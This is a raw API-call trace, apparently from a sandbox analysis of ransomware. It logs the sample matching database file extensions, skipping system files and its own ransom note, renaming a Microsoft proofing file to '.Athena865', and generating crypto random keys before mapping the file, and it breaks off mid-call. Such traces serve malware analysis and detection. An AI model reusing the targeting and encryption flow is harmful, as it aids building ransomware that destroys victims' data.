[0115.774] lstrcmpiW (lpString1="LEX", lpString2="vhd") returned -1 [0115.774] lstrlenW (lpString="vhdx") returned 4 [0115.774] lstrcmpiW (lpString1=".LEX", lpString2="vhdx") returned -1 [0115.774] lstrlenW (lpString="avhd") returned 4 [0115.774] lstrcmpiW (lpString1=".LEX", lpString2="avhd") returned -1 [0115.774] lstrlenW (lpString="db") returned 2 [0115.774] lstrcmpiW (lpString1="EX", lpString2="db") returned 1 [0115.774] lstrlenW (lpString="db2") returned 3 [0115.774] lstrcmpiW (lpString1="LEX", lpString2="db2") returned 1 [0115.774] lstrlenW (lpString="db3") returned 3 [0115.774] lstrcmpiW (lpString1="LEX", lpString2="db3") returned 1 [0115.774] lstrlenW (lpString="dbf") returned 3 [0115.774] lstrcmpiW (lpString1="LEX", lpString2="dbf") returned 1 [0115.775] lstrlenW (lpString="mdf") returned 3 [0115.775] lstrcmpiW (lpString1="LEX", lpString2="mdf") returned -1 [0115.775] lstrlenW (lpString="mdb") returned 3 [0115.775] lstrcmpiW (lpString1="LEX", lpString2="mdb") returned -1 [0115.775] lstrlenW (lpString="sql") returned 3 [0115.775] lstrcmpiW (lpString1="LEX", lpString2="sql") returned -1 [0115.775] lstrlenW (lpString="sqlite") returned 6 [0115.775] lstrcmpiW (lpString1="EN.LEX", lpString2="sqlite") returned -1 [0115.775] lstrlenW (lpString="sqlite3") returned 7 [0115.775] lstrcmpiW (lpString1="_EN.LEX", lpString2="sqlite3") returned -1 [0115.775] lstrlenW (lpString="sqlitedb") returned 8 [0115.775] lstrcmpiW (lpString1="S_EN.LEX", lpString2="sqlitedb") returned -1 [0115.775] lstrlenW (lpString="xml") returned 3 [0115.775] lstrcmpiW (lpString1="LEX", lpString2="xml") returned -1 [0115.775] lstrlenW (lpString="$er") returned 3 [0115.775] lstrcmpiW (lpString1="LEX", lpString2="$er") returned 1 [0115.775] lstrlenW (lpString="4dd") returned 3 [0115.775] lstrcmpiW (lpString1="LEX", lpString2="4dd") returned 1 [0115.775] lstrlenW (lpString="4dl") returned 3 [0115.775] lstrcmpiW (lpString1="LEX", lpString2="4dl") returned 1 [0115.775] lstrlenW (lpString="^^^") returned 3 [0115.775] lstrcmpiW (lpString1="LEX", lpString2="^^^") returned 1 [0115.775] lstrlenW (lpString="abs") returned 3 [0115.775] lstrcmpiW (lpString1="LEX", lpString2="abs") returned 1 [0115.775] lstrlenW (lpString="abx") returned 3 [0115.775] lstrcmpiW (lpString1="LEX", lpString2="abx") returned 1 [0115.775] lstrlenW (lpString="accdb") returned 5 [0115.775] lstrcmpiW (lpString1="N.LEX", lpString2="accdb") returned 1 [0115.775] lstrlenW (lpString="accdc") returned 5 [0115.775] lstrcmpiW (lpString1="N.LEX", lpString2="accdc") returned 1 [0115.775] lstrlenW (lpString="accde") returned 5 [0115.776] lstrcmpiW (lpString1="N.LEX", lpString2="accde") returned 1 [0115.776] lstrlenW (lpString="accdr") returned 5 [0115.776] lstrcmpiW (lpString1="N.LEX", lpString2="accdr") returned 1 [0115.776] lstrlenW (lpString="accdt") returned 5 [0115.776] lstrcmpiW (lpString1="N.LEX", lpString2="accdt") returned 1 [0115.776] lstrlenW (lpString="accdw") returned 5 [0115.776] lstrcmpiW (lpString1="N.LEX", lpString2="accdw") returned 1 [0115.776] lstrlenW (lpString="accft") returned 5 [0115.776] lstrcmpiW (lpString1="N.LEX", lpString2="accft") returned 1 [0115.776] lstrlenW (lpString="adb") returned 3 [0115.776] lstrcmpiW (lpString1="LEX", lpString2="adb") returned 1 [0115.776] lstrlenW (lpString="adb") returned 3 [0115.776] lstrcmpiW (lpString1="LEX", lpString2="adb") returned 1 [0115.776] lstrlenW (lpString="ade") returned 3 [0115.776] lstrcmpiW (lpString1="LEX", lpString2="ade") returned 1 [0115.776] lstrlenW (lpString="adf") returned 3 [0115.776] lstrcmpiW (lpString1="LEX", lpString2="adf") returned 1 [0115.776] lstrlenW (lpString="adn") returned 3 [0115.776] lstrcmpiW (lpString1="LEX", lpString2="adn") returned 1 [0115.776] lstrlenW (lpString="adp") returned 3 [0115.776] lstrcmpiW (lpString1="LEX", lpString2="adp") returned 1 [0115.776] lstrlenW (lpString="alf") returned 3 [0115.776] lstrcmpiW (lpString1="LEX", lpString2="alf") returned 1 [0115.776] lstrlenW (lpString="ask") returned 3 [0115.776] lstrcmpiW (lpString1="LEX", lpString2="ask") returned 1 [0115.776] lstrlenW (lpString="btr") returned 3 [0115.776] lstrcmpiW (lpString1="LEX", lpString2="btr") returned 1 [0115.776] lstrlenW (lpString="cat") returned 3 [0115.776] lstrcmpiW (lpString1="LEX", lpString2="cat") returned 1 [0115.776] lstrlenW (lpString="cdb") returned 3 [0115.777] lstrcmpiW (lpString1="LEX", lpString2="cdb") returned 1 [0115.777] lstrlenW (lpString="ckp") returned 3 [0115.777] lstrcmpiW (lpString1="LEX", lpString2="ckp") returned 1 [0115.777] lstrlenW (lpString="cma") returned 3 [0115.777] lstrcmpiW (lpString1="LEX", lpString2="cma") returned 1 [0115.777] lstrlenW (lpString="cpd") returned 3 [0115.777] lstrcmpiW (lpString1="LEX", lpString2="cpd") returned 1 [0115.777] lstrlenW (lpString="dacpac") returned 6 [0115.777] lstrcmpiW (lpString1="EN.LEX", lpString2="dacpac") returned 1 [0115.777] lstrlenW (lpString="dad") returned 3 [0115.777] lstrcmpiW (lpString1="LEX", lpString2="dad") returned 1 [0115.777] lstrlenW (lpString="dadiagrams") returned 10 [0115.777] lstrcmpiW (lpString1="WDS_EN.LEX", lpString2="dadiagrams") returned 1 [0115.777] lstrlenW (lpString="daschema") returned 8 [0115.777] lstrcmpiW (lpString1="S_EN.LEX", lpString2="daschema") returned 1 [0115.777] lstrlenW (lpString="db-journal") returned 10 [0115.777] lstrcmpiW (lpString1="WDS_EN.LEX", lpString2="db-journal") returned 1 [0115.777] lstrlenW (lpString="db-shm") returned 6 [0115.777] lstrcmpiW (lpString1="EN.LEX", lpString2="db-shm") returned 1 [0115.777] lstrlenW (lpString="db-wal") returned 6 [0115.777] lstrcmpiW (lpString1="EN.LEX", lpString2="db-wal") returned 1 [0115.777] lstrlenW (lpString="dbc") returned 3 [0115.777] lstrcmpiW (lpString1="LEX", lpString2="dbc") returned 1 [0115.777] lstrlenW (lpString="dbs") returned 3 [0115.777] lstrcmpiW (lpString1="LEX", lpString2="dbs") returned 1 [0115.777] lstrlenW (lpString="dbt") returned 3 [0115.777] lstrcmpiW (lpString1="LEX", lpString2="dbt") returned 1 [0115.777] lstrlenW (lpString="dbv") returned 3 [0115.777] lstrcmpiW (lpString1="LEX", lpString2="dbv") returned 1 [0115.777] lstrlenW (lpString="dbx") returned 3 [0115.777] lstrcmpiW (lpString1="LEX", lpString2="dbx") returned 1 [0115.778] lstrlenW (lpString="dcb") returned 3 [0115.778] lstrcmpiW (lpString1="LEX", lpString2="dcb") returned 1 [0115.778] lstrlenW (lpString="dct") returned 3 [0115.778] lstrcmpiW (lpString1="LEX", lpString2="dct") returned 1 [0115.778] lstrlenW (lpString="dcx") returned 3 [0115.778] lstrcmpiW (lpString1="LEX", lpString2="dcx") returned 1 [0115.778] lstrlenW (lpString="ddl") returned 3 [0115.778] lstrcmpiW (lpString1="LEX", lpString2="ddl") returned 1 [0115.778] lstrlenW (lpString="dlis") returned 4 [0115.778] lstrcmpiW (lpString1=".LEX", lpString2="dlis") returned -1 [0115.778] lstrlenW (lpString="dp1") returned 3 [0115.778] lstrcmpiW (lpString1="LEX", lpString2="dp1") returned 1 [0115.778] lstrlenW (lpString="dqy") returned 3 [0115.778] lstrcmpiW (lpString1="LEX", lpString2="dqy") returned 1 [0115.778] lstrlenW (lpString="dsk") returned 3 [0115.778] lstrcmpiW (lpString1="LEX", lpString2="dsk") returned 1 [0115.778] lstrlenW (lpString="dsn") returned 3 [0115.778] lstrcmpiW (lpString1="LEX", lpString2="dsn") returned 1 [0115.778] lstrlenW (lpString="dtsx") returned 4 [0115.778] lstrcmpiW (lpString1=".LEX", lpString2="dtsx") returned -1 [0115.778] lstrlenW (lpString="dxl") returned 3 [0115.778] lstrcmpiW (lpString1="LEX", lpString2="dxl") returned 1 [0115.778] lstrlenW (lpString="eco") returned 3 [0115.778] lstrcmpiW (lpString1="LEX", lpString2="eco") returned 1 [0115.778] lstrlenW (lpString="ecx") returned 3 [0115.778] lstrcmpiW (lpString1="LEX", lpString2="ecx") returned 1 [0115.778] lstrlenW (lpString="edb") returned 3 [0115.778] lstrcmpiW (lpString1="LEX", lpString2="edb") returned 1 [0115.778] lstrlenW (lpString="epim") returned 4 [0115.779] lstrcmpiW (lpString1=".LEX", lpString2="epim") returned -1 [0115.779] lstrlenW (lpString="fcd") returned 3 [0115.779] lstrcmpiW (lpString1="LEX", lpString2="fcd") returned 1 [0115.779] lstrlenW (lpString="fdb") returned 3 [0115.779] lstrcmpiW (lpString1="LEX", lpString2="fdb") returned 1 [0115.779] lstrlenW (lpString="fic") returned 3 [0115.779] lstrcmpiW (lpString1="LEX", lpString2="fic") returned 1 [0115.779] lstrlenW (lpString="flexolibrary") returned 12 [0115.779] lstrlenW (lpString="fm5") returned 3 [0115.779] lstrcmpiW (lpString1="LEX", lpString2="fm5") returned 1 [0115.779] lstrlenW (lpString="fmp") returned 3 [0115.779] lstrcmpiW (lpString1="LEX", lpString2="fmp") returned 1 [0115.779] lstrlenW (lpString="fmp12") returned 5 [0115.779] lstrcmpiW (lpString1="N.LEX", lpString2="fmp12") returned 1 [0115.779] lstrlenW (lpString="fmpsl") returned 5 [0115.779] lstrcmpiW (lpString1="N.LEX", lpString2="fmpsl") returned 1 [0115.779] lstrlenW (lpString="fol") returned 3 [0115.779] lstrcmpiW (lpString1="LEX", lpString2="fol") returned 1 [0115.779] lstrlenW (lpString="fp3") returned 3 [0115.779] lstrcmpiW (lpString1="LEX", lpString2="fp3") returned 1 [0115.779] lstrlenW (lpString="fp4") returned 3 [0115.779] lstrcmpiW (lpString1="LEX", lpString2="fp4") returned 1 [0115.779] lstrlenW (lpString="fp5") returned 3 [0115.779] lstrcmpiW (lpString1="LEX", lpString2="fp5") returned 1 [0115.779] lstrlenW (lpString="fp7") returned 3 [0115.779] lstrcmpiW (lpString1="LEX", lpString2="fp7") returned 1 [0115.779] lstrlenW (lpString="fpt") returned 3 [0115.779] lstrcmpiW (lpString1="LEX", lpString2="fpt") returned 1 [0115.779] lstrlenW (lpString="frm") returned 3 [0115.780] lstrcmpiW (lpString1="LEX", lpString2="frm") returned 1 [0115.780] lstrlenW (lpString="gdb") returned 3 [0115.780] lstrcmpiW (lpString1="LEX", lpString2="gdb") returned 1 [0115.780] lstrlenW (lpString="gdb") returned 3 [0115.780] lstrcmpiW (lpString1="LEX", lpString2="gdb") returned 1 [0115.780] lstrlenW (lpString="grdb") returned 4 [0115.780] lstrcmpiW (lpString1=".LEX", lpString2="grdb") returned -1 [0115.780] lstrlenW (lpString="gwi") returned 3 [0115.780] lstrcmpiW (lpString1="LEX", lpString2="gwi") returned 1 [0115.780] lstrlenW (lpString="hdb") returned 3 [0115.780] lstrcmpiW (lpString1="LEX", lpString2="hdb") returned 1 [0115.780] lstrlenW (lpString="his") returned 3 [0115.780] lstrcmpiW (lpString1="LEX", lpString2="his") returned 1 [0115.780] lstrlenW (lpString="ib") returned 2 [0115.780] lstrcmpiW (lpString1="EX", lpString2="ib") returned -1 [0115.780] lstrlenW (lpString="idb") returned 3 [0115.780] lstrcmpiW (lpString1="LEX", lpString2="idb") returned 1 [0115.780] lstrlenW (lpString="ihx") returned 3 [0115.780] lstrcmpiW (lpString1="LEX", lpString2="ihx") returned 1 [0115.780] lstrlenW (lpString="itdb") returned 4 [0115.780] lstrcmpiW (lpString1=".LEX", lpString2="itdb") returned -1 [0115.780] lstrlenW (lpString="itw") returned 3 [0115.780] lstrcmpiW (lpString1="LEX", lpString2="itw") returned 1 [0115.780] lstrlenW (lpString="jet") returned 3 [0115.780] lstrcmpiW (lpString1="LEX", lpString2="jet") returned 1 [0115.780] lstrlenW (lpString="jtx") returned 3 [0115.780] lstrcmpiW (lpString1="LEX", lpString2="jtx") returned 1 [0115.780] lstrlenW (lpString="kdb") returned 3 [0115.780] lstrcmpiW (lpString1="LEX", lpString2="kdb") returned 1 [0115.780] lstrlenW (lpString="kexi") returned 4 [0115.781] lstrcmpiW (lpString1=".LEX", lpString2="kexi") returned -1 [0115.781] lstrlenW (lpString="kexic") returned 5 [0115.781] lstrcmpiW (lpString1="N.LEX", lpString2="kexic") returned 1 [0115.781] lstrlenW (lpString="kexis") returned 5 [0115.781] lstrcmpiW (lpString1="N.LEX", lpString2="kexis") returned 1 [0115.781] lstrlenW (lpString="lgc") returned 3 [0115.781] lstrcmpiW (lpString1="LEX", lpString2="lgc") returned -1 [0115.781] lstrlenW (lpString="lwx") returned 3 [0115.781] lstrcmpiW (lpString1="LEX", lpString2="lwx") returned -1 [0115.781] lstrlenW (lpString="maf") returned 3 [0115.781] lstrcmpiW (lpString1="LEX", lpString2="maf") returned -1 [0115.781] lstrlenW (lpString="maq") returned 3 [0115.781] lstrcmpiW (lpString1="LEX", lpString2="maq") returned -1 [0115.781] lstrlenW (lpString="mar") returned 3 [0115.781] lstrcmpiW (lpString1="LEX", lpString2="mar") returned -1 [0115.781] lstrlenW (lpString="marshal") returned 7 [0115.781] lstrcmpiW (lpString1="_EN.LEX", lpString2="marshal") returned -1 [0115.781] lstrlenW (lpString="mas") returned 3 [0115.781] lstrcmpiW (lpString1="LEX", lpString2="mas") returned -1 [0115.781] lstrlenW (lpString="mav") returned 3 [0115.781] lstrcmpiW (lpString1="LEX", lpString2="mav") returned -1 [0115.781] lstrlenW (lpString="maw") returned 3 [0115.781] lstrcmpiW (lpString1="LEX", lpString2="maw") returned -1 [0115.781] lstrlenW (lpString="mdbhtml") returned 7 [0115.781] lstrcmpiW (lpString1="_EN.LEX", lpString2="mdbhtml") returned -1 [0115.781] lstrlenW (lpString="mdn") returned 3 [0115.781] lstrcmpiW (lpString1="LEX", lpString2="mdn") returned -1 [0115.781] lstrlenW (lpString="mdt") returned 3 [0115.781] lstrcmpiW (lpString1="LEX", lpString2="mdt") returned -1 [0115.781] lstrlenW (lpString="mfd") returned 3 [0115.781] lstrcmpiW (lpString1="LEX", lpString2="mfd") returned -1 [0115.782] lstrlenW (lpString="mpd") returned 3 [0115.782] lstrcmpiW (lpString1="LEX", lpString2="mpd") returned -1 [0115.782] lstrlenW (lpString="mrg") returned 3 [0115.782] lstrcmpiW (lpString1="LEX", lpString2="mrg") returned -1 [0115.782] lstrlenW (lpString="mud") returned 3 [0115.782] lstrcmpiW (lpString1="LEX", lpString2="mud") returned -1 [0115.782] lstrlenW (lpString="mwb") returned 3 [0115.782] lstrcmpiW (lpString1="LEX", lpString2="mwb") returned -1 [0115.782] lstrlenW (lpString="myd") returned 3 [0115.782] lstrcmpiW (lpString1="LEX", lpString2="myd") returned -1 [0115.782] lstrlenW (lpString="ndf") returned 3 [0115.782] lstrcmpiW (lpString1="LEX", lpString2="ndf") returned -1 [0115.782] lstrlenW (lpString="nnt") returned 3 [0115.782] lstrcmpiW (lpString1="LEX", lpString2="nnt") returned -1 [0115.782] lstrlenW (lpString="nrmlib") returned 6 [0115.782] lstrcmpiW (lpString1="EN.LEX", lpString2="nrmlib") returned -1 [0115.782] lstrlenW (lpString="ns2") returned 3 [0115.782] lstrcmpiW (lpString1="LEX", lpString2="ns2") returned -1 [0115.782] lstrlenW (lpString="ns3") returned 3 [0115.782] lstrcmpiW (lpString1="LEX", lpString2="ns3") returned -1 [0115.782] lstrlenW (lpString="ns4") returned 3 [0115.782] lstrcmpiW (lpString1="LEX", lpString2="ns4") returned -1 [0115.782] lstrlenW (lpString="nsf") returned 3 [0115.782] lstrcmpiW (lpString1="LEX", lpString2="nsf") returned -1 [0115.782] lstrlenW (lpString="nv") returned 2 [0115.782] lstrcmpiW (lpString1="EX", lpString2="nv") returned -1 [0115.782] lstrlenW (lpString="nv2") returned 3 [0115.782] lstrcmpiW (lpString1="LEX", lpString2="nv2") returned -1 [0115.782] lstrlenW (lpString="nwdb") returned 4 [0115.782] lstrcmpiW (lpString1=".LEX", lpString2="nwdb") returned -1 [0115.782] lstrlenW (lpString="nyf") returned 3 [0115.783] lstrcmpiW (lpString1="LEX", lpString2="nyf") returned -1 [0115.783] lstrlenW (lpString="odb") returned 3 [0115.783] lstrcmpiW (lpString1="LEX", lpString2="odb") returned -1 [0115.783] lstrlenW (lpString="odb") returned 3 [0115.783] lstrcmpiW (lpString1="LEX", lpString2="odb") returned -1 [0115.783] lstrlenW (lpString="oqy") returned 3 [0115.783] lstrcmpiW (lpString1="LEX", lpString2="oqy") returned -1 [0115.783] lstrlenW (lpString="ora") returned 3 [0115.783] lstrcmpiW (lpString1="LEX", lpString2="ora") returned -1 [0115.783] lstrlenW (lpString="orx") returned 3 [0115.783] lstrcmpiW (lpString1="LEX", lpString2="orx") returned -1 [0115.783] lstrlenW (lpString="owc") returned 3 [0115.783] lstrcmpiW (lpString1="LEX", lpString2="owc") returned -1 [0115.783] lstrlenW (lpString="p96") returned 3 [0115.783] lstrcmpiW (lpString1="LEX", lpString2="p96") returned -1 [0115.783] lstrlenW (lpString="p97") returned 3 [0115.783] lstrcmpiW (lpString1="LEX", lpString2="p97") returned -1 [0115.783] lstrlenW (lpString="pan") returned 3 [0115.783] lstrcmpiW (lpString1="LEX", lpString2="pan") returned -1 [0115.783] lstrlenW (lpString="pdb") returned 3 [0115.783] lstrcmpiW (lpString1="LEX", lpString2="pdb") returned -1 [0115.783] lstrlenW (lpString="pdm") returned 3 [0115.783] lstrcmpiW (lpString1="LEX", lpString2="pdm") returned -1 [0115.783] lstrlenW (lpString="pnz") returned 3 [0115.783] lstrcmpiW (lpString1="LEX", lpString2="pnz") returned -1 [0115.783] lstrlenW (lpString="qry") returned 3 [0115.783] lstrcmpiW (lpString1="LEX", lpString2="qry") returned -1 [0115.783] lstrlenW (lpString="qvd") returned 3 [0115.783] lstrcmpiW (lpString1="LEX", lpString2="qvd") returned -1 [0115.783] lstrlenW (lpString="rbf") returned 3 [0115.783] lstrcmpiW (lpString1="LEX", lpString2="rbf") returned -1 [0115.783] lstrlenW (lpString="rctd") returned 4 [0115.784] lstrcmpiW (lpString1=".LEX", lpString2="rctd") returned -1 [0115.784] lstrlenW (lpString="rod") returned 3 [0115.784] lstrcmpiW (lpString1="LEX", lpString2="rod") returned -1 [0115.784] lstrlenW (lpString="rodx") returned 4 [0115.784] lstrcmpiW (lpString1=".LEX", lpString2="rodx") returned -1 [0115.784] lstrlenW (lpString="rpd") returned 3 [0115.784] lstrcmpiW (lpString1="LEX", lpString2="rpd") returned -1 [0115.784] lstrlenW (lpString="rsd") returned 3 [0115.784] lstrcmpiW (lpString1="LEX", lpString2="rsd") returned -1 [0115.784] lstrlenW (lpString="sas7bdat") returned 8 [0115.784] lstrcmpiW (lpString1="S_EN.LEX", lpString2="sas7bdat") returned -1 [0115.784] lstrlenW (lpString="sbf") returned 3 [0115.784] lstrcmpiW (lpString1="LEX", lpString2="sbf") returned -1 [0115.784] lstrlenW (lpString="scx") returned 3 [0115.784] lstrcmpiW (lpString1="LEX", lpString2="scx") returned -1 [0115.784] lstrlenW (lpString="sdb") returned 3 [0115.784] lstrcmpiW (lpString1="LEX", lpString2="sdb") returned -1 [0115.784] lstrlenW (lpString="sdc") returned 3 [0115.784] lstrcmpiW (lpString1="LEX", lpString2="sdc") returned -1 [0115.784] lstrlenW (lpString="sdf") returned 3 [0115.784] lstrcmpiW (lpString1="LEX", lpString2="sdf") returned -1 [0115.784] lstrlenW (lpString="sis") returned 3 [0115.784] lstrcmpiW (lpString1="LEX", lpString2="sis") returned -1 [0115.784] lstrlenW (lpString="spq") returned 3 [0115.784] lstrcmpiW (lpString1="LEX", lpString2="spq") returned -1 [0115.784] lstrlenW (lpString="te") returned 2 [0115.784] lstrcmpiW (lpString1="EX", lpString2="te") returned -1 [0115.784] lstrlenW (lpString="teacher") returned 7 [0115.784] lstrcmpiW (lpString1="_EN.LEX", lpString2="teacher") returned -1 [0115.784] lstrlenW (lpString="tmd") returned 3 [0115.784] lstrcmpiW (lpString1="LEX", lpString2="tmd") returned -1 [0115.785] lstrlenW (lpString="tps") returned 3 [0115.785] lstrcmpiW (lpString1="LEX", lpString2="tps") returned -1 [0115.785] lstrlenW (lpString="trc") returned 3 [0115.785] lstrcmpiW (lpString1="LEX", lpString2="trc") returned -1 [0115.785] lstrlenW (lpString="trc") returned 3 [0115.785] lstrcmpiW (lpString1="LEX", lpString2="trc") returned -1 [0115.785] lstrlenW (lpString="trm") returned 3 [0115.785] lstrcmpiW (lpString1="LEX", lpString2="trm") returned -1 [0115.785] lstrlenW (lpString="udb") returned 3 [0115.785] lstrcmpiW (lpString1="LEX", lpString2="udb") returned -1 [0115.785] lstrlenW (lpString="udl") returned 3 [0115.785] lstrcmpiW (lpString1="LEX", lpString2="udl") returned -1 [0115.785] lstrlenW (lpString="usr") returned 3 [0115.785] lstrcmpiW (lpString1="LEX", lpString2="usr") returned -1 [0115.785] lstrlenW (lpString="v12") returned 3 [0115.785] lstrcmpiW (lpString1="LEX", lpString2="v12") returned -1 [0115.785] lstrlenW (lpString="vis") returned 3 [0115.785] lstrcmpiW (lpString1="LEX", lpString2="vis") returned -1 [0115.785] lstrlenW (lpString="vpd") returned 3 [0115.785] lstrcmpiW (lpString1="LEX", lpString2="vpd") returned -1 [0115.785] lstrlenW (lpString="vvv") returned 3 [0115.785] lstrcmpiW (lpString1="LEX", lpString2="vvv") returned -1 [0115.785] lstrlenW (lpString="wdb") returned 3 [0115.785] lstrcmpiW (lpString1="LEX", lpString2="wdb") returned -1 [0115.786] lstrlenW (lpString="wmdb") returned 4 [0115.786] lstrcmpiW (lpString1=".LEX", lpString2="wmdb") returned -1 [0115.786] lstrlenW (lpString="wrk") returned 3 [0115.786] lstrcmpiW (lpString1="LEX", lpString2="wrk") returned -1 [0115.786] lstrlenW (lpString="xdb") returned 3 [0115.786] lstrcmpiW (lpString1="LEX", lpString2="xdb") returned -1 [0115.786] lstrlenW (lpString="xld") returned 3 [0115.786] lstrcmpiW (lpString1="LEX", lpString2="xld") returned -1 [0115.786] lstrlenW (lpString="xmlff") returned 5 [0115.786] lstrcmpiW (lpString1="N.LEX", lpString2="xmlff") returned -1 [0115.786] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX.Athena865") returned 75 [0115.786] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_en.lex"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_en.lex.athena865"), dwFlags=0x1) returned 1 [0115.787] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_en.lex.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0115.787] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=444027) returned 1 [0115.787] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0115.787] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e88 [0115.787] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519cc8 [0115.787] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519c40) returned 1 [0115.788] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0115.788] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0115.788] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6c980, lpName=0x0) returned 0x154 [0115.789] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6c980) returned 0x2d50000 [0115.809] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519c40) returned 1 [0115.809] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0115.809] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0115.809] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0115.809] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0115.809] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0115.809] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0115.809] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0115.810] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0115.810] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0115.810] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0115.810] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0115.810] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0115.810] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0115.814] CloseHandle (hObject=0x154) returned 1 [0115.814] CloseHandle (hObject=0x17c) returned 1 [0115.814] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e88 | out: hHeap=0x4f0000) returned 1 [0115.814] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519cc8 | out: hHeap=0x4f0000) returned 1 [0115.814] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0115.816] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5e2ea00, ftCreationTime.dwHighDateTime=0x1bdf5d3, ftLastAccessTime.dwLowDateTime=0x5b0da70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe5e2ea00, ftLastWriteTime.dwHighDateTime=0x1bdf5d3, nFileSizeHigh=0x0, nFileSizeLow=0x60983, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSWDS_ES.LEX", cAlternateFileName="")) returned 1 [0115.816] lstrcmpiW (lpString1="MSWDS_ES.LEX", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0115.816] lstrcmpiW (lpString1="MSWDS_ES.LEX", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0115.816] lstrcmpiW (lpString1="MSWDS_ES.LEX", lpString2=".") returned 1 [0115.816] lstrcmpiW (lpString1="MSWDS_ES.LEX", lpString2="..") returned 1 [0115.816] lstrcmpiW (lpString1="MSWDS_ES.LEX", lpString2="windows") returned -1 [0115.816] lstrcmpiW (lpString1="MSWDS_ES.LEX", lpString2="bootmgr") returned 1 [0115.816] lstrcmpiW (lpString1="MSWDS_ES.LEX", lpString2="temp") returned -1 [0115.816] lstrcmpiW (lpString1="MSWDS_ES.LEX", lpString2="pagefile.sys") returned -1 [0115.816] lstrcmpiW (lpString1="MSWDS_ES.LEX", lpString2="boot") returned 1 [0115.816] lstrcmpiW (lpString1="MSWDS_ES.LEX", lpString2="ids.txt") returned 1 [0115.816] lstrcmpiW (lpString1="MSWDS_ES.LEX", lpString2="ntuser.dat") returned -1 [0115.816] lstrcmpiW (lpString1="MSWDS_ES.LEX", lpString2="perflogs") returned -1 [0115.816] lstrcmpiW (lpString1="MSWDS_ES.LEX", lpString2="MSBuild") returned 1 [0115.816] lstrlenW (lpString="MSWDS_ES.LEX") returned 12 [0115.816] lstrcpyW (in: lpString1=0x241e8b2, lpString2="MSWDS_ES.LEX" | out: lpString1="MSWDS_ES.LEX") returned="MSWDS_ES.LEX" [0115.816] lstrlenW (lpString="MSWDS_ES.LEX") returned 12 [0115.816] lstrlenW (lpString="Athena865") returned 9 [0115.816] lstrcmpiW (lpString1="DS_ES.LEX", lpString2="Athena865") returned 1 [0115.816] lstrlenW (lpString=".dll") returned 4 [0115.816] lstrcmpiW (lpString1="MSWDS_ES.LEX", lpString2=".dll") returned 1 [0115.816] lstrlenW (lpString=".lnk") returned 4 [0115.816] lstrcmpiW (lpString1="MSWDS_ES.LEX", lpString2=".lnk") returned 1 [0115.816] lstrlenW (lpString=".ini") returned 4 [0115.816] lstrcmpiW (lpString1="MSWDS_ES.LEX", lpString2=".ini") 